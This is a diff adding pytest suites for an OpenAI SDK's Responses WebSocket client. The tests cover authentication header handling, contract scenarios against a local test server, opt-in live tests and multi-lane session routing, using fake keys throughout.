+from __future__ import annotations
+
+import json
+import asyncio
+from typing import Any
+from typing_extensions import override
+
+import httpx2
+import pytest
+from websockets.sync.server import ServerConnection
+from websockets.datastructures import Headers as WebSocketHeaders
+
+from openai import OpenAI, AsyncOpenAI, OpenAIError, omit
+from openai.auth import WorkloadIdentity
+from openai._types import Headers
+from openai._models import FinalRequestOptions
+from openai.providers import bedrock
+from openai.types.websocket_reconnection import ReconnectingEvent
+
+from .test_websocket_session import script_server, response_event
+
+
+@pytest.fixture(autouse=True)
+def bypass_proxy(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("NO_PROXY", "127.0.0.1")
+ monkeypatch.setenv("no_proxy", "127.0.0.1")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("authorization", ["provider", "cached_provider", "client", "connection", "omit"])
+async def test_callable_auth_refreshes_each_physical_handshake(mode: str, authorization: str) -> None:
+ calls: list[str] = []
+ received: list[WebSocketHeaders] = []
+
+ def provider() -> str:
+ token = f"fake-provider-key-{len(calls) + 1}"
+ calls.append(token)
+ return token
+
+ async def async_provider() -> str:
+ await asyncio.sleep(0)
+ return provider()
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ received.append(socket.request.headers)
+ socket.send(json.dumps({"type": "response.future", "handshake": len(received)}))
+ if len(received) == 1:
+ socket.close(code=1011)
+
+ def http_handler(request: httpx2.Request) -> httpx2.Response:
+ assert request.headers["Authorization"] == "Bearer fake-provider-key-1"
+ return httpx2.Response(200, json=response_event("completed")["response"])
+
+ client_headers = {"X-Customer-Header": "client value", "X-Client-Only": "retained", "X-Omit-Me": "removed"}
+ connection_headers: Headers = {"x-customer-header": "connection value", "x-omit-me": omit}
+ if authorization in {"client", "connection"}:
+ client_headers["authorization"] = "Bearer fake-client-override"
+ if authorization == "connection":
+ connection_headers["AUTHORIZATION"] = "Bearer fake-connection-override"
+ elif authorization == "omit":
+ connection_headers["authorization"] = omit
+
+ def reconnect(_event: ReconnectingEvent) -> None:
+ return None
+
+ options: dict[str, Any] = {
+ "extra_headers": connection_headers,
+ "on_reconnecting": reconnect,
+ "initial_delay": 0,
+ "max_retries": 1,
+ }
+ with script_server(script, expected_connections=2) as url:
+ if mode == "sync":
+ with OpenAI(
+ api_key=provider,
+ base_url=url,
+ default_headers=client_headers,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(http_handler), trust_env=False),
+ ) as client:
+ if authorization == "cached_provider":
+ client.responses.create(model="gpt-4o-mini", input="synthetic")
+ with client.responses.connect(**options) as connection:
+ events = iter(connection)
+ assert next(events).type == "response.future"
+ assert next(events).type == "response.future"
+ else:
+ async with AsyncOpenAI(
+ api_key=async_provider,
+ base_url=url,
+ default_headers=client_headers,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(http_handler), trust_env=False),
+ ) as async_client:
+ if authorization == "cached_provider":
+ await async_client.responses.create(model="gpt-4o-mini", input="synthetic")
+ async with async_client.responses.connect(**options) as async_connection:
+ async_events = aiter(async_connection)
+ assert (await anext(async_events)).type == "response.future"
+ assert (await anext(async_events)).type == "response.future"
+
+ offset = 1 if authorization == "cached_provider" else 0
+ assert len(calls) == offset + 2
+ for index, headers in enumerate(received):
+ expected_auth = {
+ "client": "Bearer fake-client-override",
+ "connection": "Bearer fake-connection-override",
+ "omit": None,
+ }.get(authorization, f"Bearer fake-provider-key-{offset + index + 1}")
+ assert headers.get_all("Authorization") == ([expected_auth] if expected_auth is not None else [])
+ assert headers.get_all("X-Customer-Header") == ["connection value"]
+ assert headers["X-Client-Only"] == "retained"
+ assert "X-Omit-Me" not in headers
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_handshake_honors_prepared_url_query_and_headers(mode: str) -> None:
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ assert socket.request.path == "/prepared?before=kept&prepared=yes"
+ assert socket.request.headers["X-Prepared"] == "hook value"
+ assert socket.request.headers["Authorization"] == "Bearer fake-hook-key"
+ assert "X-Removed" not in socket.request.headers
+ socket.send(json.dumps({"type": "response.future"}))
+
+ with script_server(script) as url:
+
+ def prepare(options: FinalRequestOptions) -> FinalRequestOptions:
+ assert options.method == "get"
+ assert options.security == {"bearer_auth": True}
+ assert options.url.startswith("ws://127.0.0.1:1/")
+ options.url = url.removesuffix("/v1") + "/prepared?before=kept"
+ options.params = {"prepared": "yes"}
+ options.headers = {"X-Prepared": "hook value", "X-Removed": omit}
+ return options
+
+ class PreparedClient(OpenAI):
+ @override
+ def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
+ return prepare(super()._prepare_options(options))
+
+ class AsyncPreparedClient(AsyncOpenAI):
+ @override
+ async def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
+ return prepare(await super()._prepare_options(options))
+
+ if mode == "sync":
+ with PreparedClient(
+ api_key="fake-hook-key",
+ base_url="http://127.0.0.1:1/v1",
+ default_headers={"X-Removed": "client value"},
+ http_client=httpx2.Client(trust_env=False),
+ ) as client:
+ with client.responses.connect() as connection:
+ assert connection.recv().type == "response.future"
+ else:
+ async with AsyncPreparedClient(
+ api_key="fake-hook-key",
+ base_url="http://127.0.0.1:1/v1",
+ default_headers={"X-Removed": "client value"},
+ http_client=httpx2.AsyncClient(trust_env=False),
+ ) as async_client:
+ async with async_client.responses.connect() as async_connection:
+ assert (await async_connection.recv()).type == "response.future"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("authentication", ["provider", "workload_identity"])
+async def test_http_only_auth_refused_before_credentials_or_transport(mode: str, authentication: str) -> None:
+ credential_calls: list[bool] = []
+
+ def forbidden_provider() -> str:
+ credential_calls.append(True)
+ raise AssertionError("WebSocket must refuse HTTP-only authentication before credential resolution")
+
+ auth: dict[str, Any]
+ if authentication == "provider":
+ auth = {"provider": bedrock(region="us-east-1", token_provider=forbidden_provider)}
+ else:
+ auth = {
+ "workload_identity": WorkloadIdentity(
+ identity_provider_id="idp_synthetic",
+ service_account_id="sa_synthetic",
+ provider={"token_type": "jwt", "get_token": forbidden_provider},
+ )
+ }
+
+ with script_server(lambda _: None, expected_connections=0) as url:
+ if mode == "sync":
+ with OpenAI(**auth, websocket_base_url=url, http_client=httpx2.Client(trust_env=False)) as client:
+ with pytest.raises(OpenAIError, match="not supported by WebSocket"):
+ with client.responses.connect():
+ pytest.fail("Unsupported authentication opened a socket")
+ else:
+ async with AsyncOpenAI(
+ **auth, websocket_base_url=url, http_client=httpx2.AsyncClient(trust_env=False)
+ ) as async_client:
+ with pytest.raises(OpenAIError, match="not supported by WebSocket"):
+ async with async_client.responses.connect():
+ pytest.fail("Unsupported authentication opened a socket")
+ assert not credential_calls
diff --git a/tests/lib/responses/test_websocket_contract.py b/tests/lib/responses/test_websocket_contract.py
new file mode 100644
index 0000000000..8633da6c50
--- /dev/null
+++ b/tests/lib/responses/test_websocket_contract.py
@@ -0,0 +1,170 @@
+from __future__ import annotations
+
+import json
+import asyncio
+import threading
+from typing import Any, Generator, TypedDict
+from pathlib import Path
+from contextlib import contextmanager
+from typing_extensions import NotRequired
+
+import httpx2
+import pytest
+from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+from websockets.sync.server import ServerConnection, serve
+
+from openai import OpenAI, AsyncOpenAI
+from openai.types.responses import responses_server_event as events
+
+
+class Turn(TypedDict):
+ request: dict[str, Any]
+ frames: list[dict[str, Any] | str]
+
+
+class Scenario(TypedDict):
+ id: str
+ turns: list[Turn]
+ close_code: NotRequired[int]
+
+
+SCENARIOS: list[Scenario] = json.loads((Path(__file__).parent / "fixtures" / "websocket_scenarios.json").read_text())[
+ "scenarios"
+]
+EVENT_TYPES = {
+ "response.created": events.ResponseWsCreated,
+ "response.completed": events.ResponseWsCompleted,
+ "response.failed": events.ResponseWsFailed,
+ "response.incomplete": events.ResponseWsIncomplete,
+ "response.output_text.delta": events.ResponseTextWsDelta,
+ "error": events.ResponseWsError,
+}
+
+
+@pytest.fixture(autouse=True)
+def bypass_loopback_proxy(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("NO_PROXY", "127.0.0.1")
+ monkeypatch.setenv("no_proxy", "127.0.0.1")
+
+
+@contextmanager
+def scenario_server(scenario: Scenario) -> Generator[str, None, None]:
+ """Exercise the SDK over a real socket; surface failures from the server thread."""
+ failures: list[Exception] = []
+ connections: list[ServerConnection] = []
+ finished = threading.Event()
+
+ def handle(connection: ServerConnection) -> None:
+ connections.append(connection)
+ try:
+ assert connection.request is not None
+ assert connection.request.path == "/v1/responses?contract=1"
+ assert connection.request.headers["Authorization"] == "Bearer fake-contract-key"
+ assert connection.request.headers["X-Contract-Test"] == "synthetic"
+ for turn in scenario["turns"]:
+ assert json.loads(connection.recv(timeout=5)) == turn["request"]
+ for frame in turn["frames"]:
+ connection.send(frame if isinstance(frame, str) else json.dumps(frame))
+ if "close_code" in scenario:
+ connection.close(code=scenario["close_code"])
+ else:
+ # Terminal responses and API errors leave the connection open until
+ # the caller closes it. No extra request or automatic replay is expected.
+ try:
+ connection.recv(timeout=5)
+ except ConnectionClosedOK:
+ pass
+ else:
+ raise AssertionError("Unexpected request after the last turn")
+ except Exception as exc:
+ failures.append(exc)
+ finally:
+ connection.close()
+ finished.set()
+
+ with serve(handle, "127.0.0.1", 0, open_timeout=5, close_timeout=1) as server:
+ thread = threading.Thread(target=server.serve_forever)
+ thread.start()
+ try:
+ yield f"http://127.0.0.1:{server.socket.getsockname()[1]}/v1"
+ finally:
+ for connection in connections:
+ connection.close()
+ server.shutdown()
+ thread.join(timeout=5)
+ assert not thread.is_alive(), "WebSocket server did not stop"
+ if connections:
+ assert finished.wait(timeout=5), "WebSocket handler did not stop"
+ assert len(connections) == 1, "Expected one connection with no reconnects"
+ assert not failures, failures
+
+
+def assert_event(actual: events.ResponsesServerEvent, expected: dict[str, Any]) -> None:
+ known_type = EVENT_TYPES.get(expected["type"])
+ if known_type is not None:
+ assert isinstance(actual, known_type)
+ # Preserve routing identity, unknown events, and unknown fields at both levels.
+ assert actual.to_dict(exclude_unset=True) == expected
+ if expected["type"] == "error":
+ assert isinstance(actual, events.ResponseWsError)
+ assert actual.error.code == "invalid_value"
+ assert actual.error.param == "input"
+ assert actual.error.message == "Synthetic invalid input"
+
+
+@pytest.mark.parametrize("scenario", SCENARIOS, ids=lambda scenario: scenario["id"])
+def test_responses_websocket_contract(scenario: Scenario) -> None:
+ with (
+ scenario_server(scenario) as base_url,
+ OpenAI(api_key="fake-contract-key", base_url=base_url, http_client=httpx2.Client(trust_env=False)) as client,
+ ):
+ with client.responses.connect(
+ extra_query={"contract": "1"}, extra_headers={"X-Contract-Test": "synthetic"}
+ ) as connection:
+ for turn in scenario["turns"]:
+ connection.response.create(**{key: value for key, value in turn["request"].items() if key != "type"})
+ for frame in turn["frames"]:
+ if isinstance(frame, str):
+ with pytest.raises(json.JSONDecodeError):
+ connection.recv()
+ else:
+ assert_event(connection.recv(), frame)
+ if "close_code" in scenario:
+ # recv() exposes clean EOF even without a response terminal event.
+ # Python's iterator instead ends normally on close code 1000.
+ error = ConnectionClosedOK if scenario["close_code"] == 1000 else ConnectionClosedError
+ with pytest.raises(error) as raised:
+ connection.recv()
+ assert raised.value.rcvd is not None
+ assert raised.value.rcvd.code == scenario["close_code"]
+ connection.close()
+ connection.close()
+
+
+@pytest.mark.parametrize("scenario", SCENARIOS, ids=lambda scenario: scenario["id"])
+async def test_async_responses_websocket_contract(scenario: Scenario) -> None:
+ with scenario_server(scenario) as base_url:
+ async with AsyncOpenAI(
+ api_key="fake-contract-key", base_url=base_url, http_client=httpx2.AsyncClient(trust_env=False)
+ ) as client:
+ async with client.responses.connect(
+ extra_query={"contract": "1"}, extra_headers={"X-Contract-Test": "synthetic"}
+ ) as connection:
+ for turn in scenario["turns"]:
+ await connection.response.create(
+ **{key: value for key, value in turn["request"].items() if key != "type"}
+ )
+ for frame in turn["frames"]:
+ if isinstance(frame, str):
+ with pytest.raises(json.JSONDecodeError):
+ await asyncio.wait_for(connection.recv(), timeout=5)
+ else:
+ assert_event(await asyncio.wait_for(connection.recv(), timeout=5), frame)
+ if "close_code" in scenario:
+ error = ConnectionClosedOK if scenario["close_code"] == 1000 else ConnectionClosedError
+ with pytest.raises(error) as raised:
+ await asyncio.wait_for(connection.recv(), timeout=5)
+ assert raised.value.rcvd is not None
+ assert raised.value.rcvd.code == scenario["close_code"]
+ await connection.close()
+ await connection.close()
diff --git a/tests/lib/responses/test_websocket_live.py b/tests/lib/responses/test_websocket_live.py
new file mode 100644
index 0000000000..df71023686
--- /dev/null
+++ b/tests/lib/responses/test_websocket_live.py
@@ -0,0 +1,87 @@
+"""Opt-in live helper smoke tests. Credentials are read only from the environment.
+
+Run with OPENAI_WEBSOCKET_LIVE_TEST=1 and OPENAI_API_KEY configured. Optionally
+choose a Responses model with OPENAI_WEBSOCKET_TEST_MODEL.
+"""
+
+from __future__ import annotations
+
+import os
+import asyncio
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai.lib.responses_websocket import (
+ ResponsesWebSocketLimits,
+ ResponsesWebSocketSession,
+ AsyncResponsesWebSocketSession,
+)
+
+pytestmark = pytest.mark.skipif(
+ os.environ.get("OPENAI_WEBSOCKET_LIVE_TEST") != "1" or not os.environ.get("OPENAI_API_KEY"),
+ reason="Live Responses WebSocket tests require explicit opt-in and environment credentials",
+)
+
+LIMITS = ResponsesWebSocketLimits(
+ max_lanes=4,
+ max_events_per_lane=128,
+ max_events=256,
+ max_bytes_per_lane=8 * 1024 * 1024,
+ max_bytes=16 * 1024 * 1024,
+ max_response_bytes=16 * 1024 * 1024,
+)
+
+
+def test_live_sync_session_continuation() -> None:
+ model = os.environ.get("OPENAI_WEBSOCKET_TEST_MODEL", "gpt-4o-mini")
+ with (
+ OpenAI(default_headers={"X-SDK-Header-Test": "client"}) as client,
+ client.responses.connect(extra_headers={"X-SDK-Header-Test": "connection"}) as connection,
+ ResponsesWebSocketSession(connection, limits=LIMITS) as session,
+ ):
+ lane = session.lane("sdk-live-sync")
+ lane.send({"type": "response.create", "model": model, "input": "Reply with exactly OK.", "store": False})
+ first = lane.get_final_response(timeout=60)
+ assert first.status == "completed"
+ assert first.output_text
+ lane.send(
+ {
+ "type": "response.create",
+ "model": model,
+ "previous_response_id": first.id,
+ "input": "Reply with exactly OK again.",
+ "store": False,
+ }
+ )
+ second = lane.get_final_response(timeout=60)
+ assert second.status == "completed"
+ assert second.id != first.id
+ assert second.output_text
+
+
+async def test_live_async_session_continuation() -> None:
+ model = os.environ.get("OPENAI_WEBSOCKET_TEST_MODEL", "gpt-4o-mini")
+ async with (
+ AsyncOpenAI(default_headers={"X-SDK-Header-Test": "client"}) as client,
+ client.responses.connect(extra_headers={"X-SDK-Header-Test": "connection"}) as connection,
+ AsyncResponsesWebSocketSession(connection, limits=LIMITS) as session,
+ ):
+ lane = session.lane("sdk-live-async")
+ await lane.send({"type": "response.create", "model": model, "input": "Reply with exactly OK.", "store": False})
+ first = await asyncio.wait_for(lane.get_final_response(), timeout=60)
+ assert first.status == "completed"
+ assert first.output_text
+ await lane.send(
+ {
+ "type": "response.create",
+ "model": model,
+ "previous_response_id": first.id,
+ "input": "Reply with exactly OK again.",
+ "store": False,
+ }
+ )
+ second = await asyncio.wait_for(lane.get_final_response(), timeout=60)
+ assert second.status == "completed"
+ assert second.id != first.id
+ assert second.output_text
diff --git a/tests/lib/responses/test_websocket_session.py b/tests/lib/responses/test_websocket_session.py
new file mode 100644
index 0000000000..23b671ea25
--- /dev/null
+++ b/tests/lib/responses/test_websocket_session.py
@@ -0,0 +1,1437 @@
+from __future__ import annotations
+
+import json
+import asyncio
+import threading
+from typing import Any, Callable, Generator, AsyncGenerator
+from contextlib import contextmanager, asynccontextmanager
+from dataclasses import replace
+
+import httpx2
+import pytest
+from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+from websockets.sync.server import ServerConnection, serve
+
+from openai import OpenAI, AsyncOpenAI, omit
+from openai._types import Headers
+from openai.lib.responses_websocket import (
+ ResponsesWebSocketError,
+ ResponsesWebSocketLimits,
+ ResponsesWebSocketSession,
+ ResponsesWebSocketBufferError,
+ AsyncResponsesWebSocketSession,
+)
+from openai.types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides
+from openai.types.responses.responses_server_event import ResponseWsError
+
+from .test_websocket_contract import SCENARIOS, scenario_server
+
+LIMITS = ResponsesWebSocketLimits(
+ max_lanes=8,
+ max_events_per_lane=32,
+ max_events=64,
+ max_bytes_per_lane=256_000,
+ max_bytes=512_000,
+ max_response_bytes=512_000,
+)
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("beta", [False, True])
+async def test_raw_receive_preserves_text_utf8_and_binary_bytes(mode: str, beta: bool) -> None:
+ text_message = ' { "type": "response.future", "text": "東京🙂" }\n'
+ binary_message = b"\x00\xff\x80"
+
+ def script(socket: ServerConnection) -> None:
+ for message in [text_message, binary_message]:
+ socket.send(message)
+
+ with script_server(script) as url:
+ if mode == "sync":
+ with OpenAI(api_key="fake-raw-key", base_url=url, http_client=httpx2.Client(trust_env=False)) as client:
+ resource = client.beta.responses if beta else client.responses
+ with resource.connect() as connection:
+ assert connection.recv_bytes() == text_message.encode("utf-8")
+ assert connection.recv_bytes() == binary_message
+ else:
+ async with AsyncOpenAI(
+ api_key="fake-raw-key", base_url=url, http_client=httpx2.AsyncClient(trust_env=False)
+ ) as async_client:
+ async_resource = async_client.beta.responses if beta else async_client.responses
+ async with async_resource.connect() as async_connection:
+ assert await async_connection.recv_bytes() == text_message.encode("utf-8")
+ assert await async_connection.recv_bytes() == binary_message
+
+
+@pytest.fixture(autouse=True)
+def bypass_proxy(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("NO_PROXY", "127.0.0.1")
+ monkeypatch.setenv("no_proxy", "127.0.0.1")
+
+
+class Driver:
+ def __init__(self, session: Any, mode: str) -> None:
+ self.session = session
+ self.mode = mode
+
+ async def call(self, lane: Any, method: str, *args: Any, **kwargs: Any) -> Any:
+ if self.mode == "async":
+ return await asyncio.wait_for(getattr(lane, method)(*args, **kwargs), timeout=5)
+ if method in {"recv", "get_final_response"}:
+ kwargs.setdefault("timeout", 5)
+ return await asyncio.to_thread(getattr(lane, method), *args, **kwargs)
+
+
+@asynccontextmanager
+async def session_for(
+ mode: str,
+ url: str,
+ limits: ResponsesWebSocketLimits = LIMITS,
+ connection_options: dict[str, Any] | None = None,
+ client_headers: dict[str, str] | None = None,
+ connection_headers: Headers | None = None,
+) -> AsyncGenerator[Driver]:
+ options = connection_options or {}
+ headers = {"X-Contract-Test": "synthetic", **(connection_headers or {})}
+ if mode == "sync":
+ with (
+ OpenAI(
+ api_key="fake-contract-key",
+ base_url=url,
+ default_headers=client_headers,
+ http_client=httpx2.Client(trust_env=False),
+ ) as client,
+ client.responses.connect(extra_query={"contract": "1"}, extra_headers=headers, **options) as connection,
+ ResponsesWebSocketSession(connection, limits=limits) as session,
+ ):
+ yield Driver(session, mode)
+ else:
+ async with (
+ AsyncOpenAI(
+ api_key="fake-contract-key",
+ base_url=url,
+ default_headers=client_headers,
+ http_client=httpx2.AsyncClient(trust_env=False),
+ ) as async_client,
+ async_client.responses.connect(
+ extra_query={"contract": "1"}, extra_headers=headers, **options
+ ) as async_connection,
+ AsyncResponsesWebSocketSession(async_connection, limits=limits) as async_session,
+ ):
+ yield Driver(async_session, mode)
+
+
+@contextmanager
+def script_server(
+ script: Callable[[ServerConnection], None], *, expected_connections: int = 1
+) -> Generator[str, None, None]:
+ failures: list[Exception] = []
+ sockets: list[ServerConnection] = []
+ finished: list[threading.Event] = []
+
+ def handle(socket: ServerConnection) -> None:
+ sockets.append(socket)
+ done = threading.Event()
+ finished.append(done)
+ try:
+ script(socket)
+ if socket.protocol.close_code is None:
+ with pytest.raises(ConnectionClosedOK):
+ socket.recv(timeout=5)
+ except Exception as exc:
+ failures.append(exc)
+ finally:
+ socket.close()
+ done.set()
+
+ with serve(handle, "127.0.0.1", 0, close_timeout=1) as server:
+ thread = threading.Thread(target=server.serve_forever)
+ thread.start()
+ try:
+ yield f"http://127.0.0.1:{server.socket.getsockname()[1]}/v1"
+ finally:
+ for socket in sockets:
+ socket.close()
+ server.shutdown()
+ thread.join(timeout=5)
+ assert not thread.is_alive()
+ for done in finished:
+ assert done.wait(5)
+ assert len(sockets) == expected_connections
+ assert not failures, failures
+
+
+def response_event(kind: str, lane: str | None = None, **response_fields: Any) -> dict[str, Any]:
+ response: dict[str, Any] = {
+ "id": f"resp_{lane or 'default'}",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": False,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress" if kind == "created" else kind,
+ **response_fields,
+ }
+ return {
+ "type": f"response.{kind}",
+ "sequence_number": 1,
+ "response": response,
+ **({"stream_id": lane} if lane else {}),
+ }
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("typed", [False, True])
+async def test_named_lane_preserves_reference_routed_steering(mode: str, typed: bool) -> None:
+ from openai.types.responses import ResponseSteerEvent
+
+ command = {"type": "response.steer", "previous_response_id": "resp_parent", "input": "Change course"}
+
+ def script(socket: ServerConnection) -> None:
+ assert json.loads(socket.recv()) == command
+ socket.send(json.dumps(response_event("incomplete", "steering", id="resp_parent")))
+ socket.send(json.dumps(response_event("created", "steering", id="resp_successor")))
+ socket.send(json.dumps(response_event("completed", "steering", id="resp_successor")))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ lane = driver.session.lane("steering")
+ event = (
+ ResponseSteerEvent(type="response.steer", previous_response_id="resp_parent", input="Change course")
+ if typed
+ else command
+ )
+ await driver.call(lane, "send", event)
+ assert (await driver.call(lane, "get_final_response")).id == "resp_parent"
+ assert (await driver.call(lane, "recv")).type == "response.created"
+ with pytest.raises(RuntimeError, match="Consume the current response"):
+ await driver.call(lane, "send", {"type": "response.create", "input": "Too early"})
+ assert (await driver.call(lane, "get_final_response")).id == "resp_successor"
+ assert "stream_id" not in command
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("delayed", [False, True])
+@pytest.mark.parametrize("check_send", [False, True])
+async def test_observed_successor_advances_cached_final_and_keeps_lane_owned(
+ mode: str, delayed: bool, check_send: bool
+) -> None:
+ allow_successor = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ assert json.loads(socket.recv(timeout=5))["type"] == "response.steer"
+ socket.send(json.dumps(response_event("incomplete", "steering", id="resp_parent")))
+ if delayed:
+ assert allow_successor.wait(5)
+ socket.send(json.dumps(response_event("created", "steering", id="resp_successor")))
+ # Receiving this on the default lane proves the single reader has already
+ # observed the successor, without consuming any of its own lane events.
+ socket.send(json.dumps({"type": "response.future", "successor_observed": True}))
+ socket.send(json.dumps(response_event("completed", "steering", id="resp_successor")))
+ assert json.loads(socket.recv(timeout=5))["input"] == "after successor"
+ socket.send(json.dumps(response_event("completed", "steering", id="resp_after")))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ lane = driver.session.lane("steering")
+ await driver.call(
+ lane, "send", {"type": "response.steer", "previous_response_id": "resp_parent", "input": "Steer"}
+ )
+ try:
+ if not delayed:
+ assert (await driver.call(driver.session.default, "recv")).successor_observed
+ parent = await driver.call(lane, "get_final_response")
+ assert parent.id == "resp_parent"
+ if delayed:
+ # No observed successor: preserve the existing cached getter.
+ assert (await driver.call(lane, "get_final_response")) is parent
+ allow_successor.set()
+ assert (await driver.call(driver.session.default, "recv")).successor_observed
+ if check_send:
+ with pytest.raises(RuntimeError, match="Consume the current response"):
+ await driver.call(lane, "send", {"type": "response.create", "input": "too early"})
+ successor = await driver.call(lane, "get_final_response")
+ assert successor.id == "resp_successor"
+ assert (await driver.call(lane, "get_final_response")) is successor
+ await driver.call(lane, "send", {"type": "response.create", "input": "after successor"})
+ assert (await driver.call(lane, "get_final_response")).id == "resp_after"
+ finally:
+ allow_successor.set()
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("scenario", SCENARIOS[:4], ids=lambda scenario: scenario["id"])
+async def test_terminal_results_and_reuse(mode: str, scenario: Any) -> None:
+ with scenario_server(scenario) as url:
+ async with session_for(mode, url) as driver:
+ lanes: dict[str | None, Any] = {None: driver.session.default}
+ for turn in scenario["turns"]:
+ stream_id = turn["request"].get("stream_id")
+ if stream_id not in lanes:
+ lanes[stream_id] = driver.session.lane(stream_id)
+ lane = lanes[stream_id]
+ await driver.call(lane, "send", turn["request"])
+ terminal = turn["frames"][-1]
+ if terminal["type"] == "error":
+ with pytest.raises(ResponsesWebSocketError) as raised:
+ await driver.call(lane, "get_final_response")
+ assert isinstance(raised.value.event, ResponseWsError)
+ assert raised.value.event.error.code == "invalid_value"
+ assert raised.value.event.to_dict(exclude_unset=True) == terminal
+ else:
+ response = await driver.call(lane, "get_final_response")
+ assert response.id == terminal["response"]["id"]
+ assert response.status == terminal["response"]["status"]
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("kind", ["completed", "failed", "incomplete"])
+@pytest.mark.parametrize("include_null", [False, True], ids=["missing", "null"])
+async def test_terminal_without_response_fails_while_socket_remains_open(
+ mode: str, kind: str, include_null: bool
+) -> None:
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ event: dict[str, Any] = {"type": f"response.{kind}", "sequence_number": 1}
+ if include_null:
+ event["response"] = None
+ socket.send(json.dumps(event))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ lane = driver.session.default
+ await driver.call(lane, "send", {"type": "response.create", "model": "gpt-4o-mini", "input": "Hello"})
+ with pytest.raises(ValueError, match="Terminal WebSocket event is missing response"):
+ await driver.call(lane, "get_final_response")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_interleaved_lanes_default_unknown_and_detach(mode: str) -> None:
+ def script(socket: ServerConnection) -> None:
+ first = json.loads(socket.recv(timeout=5))
+ second = json.loads(socket.recv(timeout=5))
+ assert first["stream_id"] == "left"
+ assert second["stream_id"] == "right"
+ assert second["previous_response_id"] == "resp_ancestor"
+ for event in [
+ response_event("created", "left"),
+ response_event("created", "right"),
+ {"type": "response.future", "stream_id": "right", "new_field": {"nested": True}},
+ response_event("completed", "left"),
+ {"type": "response.future", "unclaimed": 1},
+ ]:
+ socket.send(json.dumps(event))
+ assert json.loads(socket.recv(timeout=5))["type"] == "response.create"
+ socket.send(json.dumps(response_event("completed", "right")))
+ socket.send(json.dumps(response_event("completed")))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ left = driver.session.lane("left")
+ right = driver.session.lane("right")
+ await driver.call(left, "send", {"type": "response.create", "model": "gpt-4o-mini", "input": "left"})
+ await driver.call(right, "send", {"type": "response.create", "previous_response_id": "resp_ancestor"})
+ assert (await driver.call(right, "recv")).type == "response.created"
+ unknown = await driver.call(right, "recv")
+ assert unknown.to_dict(exclude_unset=True)["new_field"] == {"nested": True}
+ assert (await driver.call(left, "get_final_response")).id == "resp_left"
+ left.close()
+ left.close()
+ assert (await driver.call(driver.session.default, "recv")).unclaimed == 1
+ await driver.call(driver.session.default, "send", {"type": "response.create"})
+ assert (await driver.call(right, "get_final_response")).id == "resp_right"
+ assert (await driver.call(driver.session.default, "get_final_response")).id == "resp_default"
+ with pytest.raises(EOFError, match="detached"):
+ await driver.call(left, "recv")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_wait_cancellation_does_not_lose_event_or_close_other_lane(mode: str) -> None:
+ release = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ assert release.wait(5)
+ socket.send(json.dumps(response_event("completed", "waiter")))
+ socket.send(json.dumps(response_event("completed", "other")))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ waiter = driver.session.lane("waiter")
+ other = driver.session.lane("other")
+ if mode == "async":
+ pending = asyncio.create_task(waiter.get_final_response())
+ await asyncio.sleep(0)
+ pending.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await pending
+ else:
+ with pytest.raises(TimeoutError):
+ await asyncio.to_thread(waiter.recv, timeout=0.01)
+ release.set()
+ assert (await driver.call(waiter, "get_final_response")).id == "resp_waiter"
+ waiter.close()
+ assert (await driver.call(other, "get_final_response")).id == "resp_other"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("limit", ["max_events_per_lane", "max_events", "max_bytes_per_lane", "max_bytes"])
+async def test_queue_overflow_is_explicit_and_stops_reader(mode: str, limit: str) -> None:
+ sent = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ socket.send(json.dumps({"type": "response.future", "padding": "x" * 100}))
+ if limit in {"max_events_per_lane", "max_events"}:
+ socket.send(json.dumps({"type": "response.future", "padding": "y" * 100}))
+ sent.set()
+
+ with script_server(script) as url:
+ async with session_for(mode, url, replace(LIMITS, **{limit: 1})) as driver:
+ assert await asyncio.to_thread(sent.wait, 5)
+ # Wait for the physical reader to observe the overflow, independently
+ # of whether one event fit before the configured overflow.
+ for _ in range(500):
+ if driver.session._router.ended:
+ break
+ await asyncio.sleep(0.01)
+ with pytest.raises(ResponsesWebSocketBufferError):
+ while True:
+ await driver.call(driver.session.default, "recv")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_accumulation_bound_preserves_raw_event_and_socket(mode: str) -> None:
+ def script(socket: ServerConnection) -> None:
+ assert json.loads(socket.recv(timeout=5))["stream_id"] == "large"
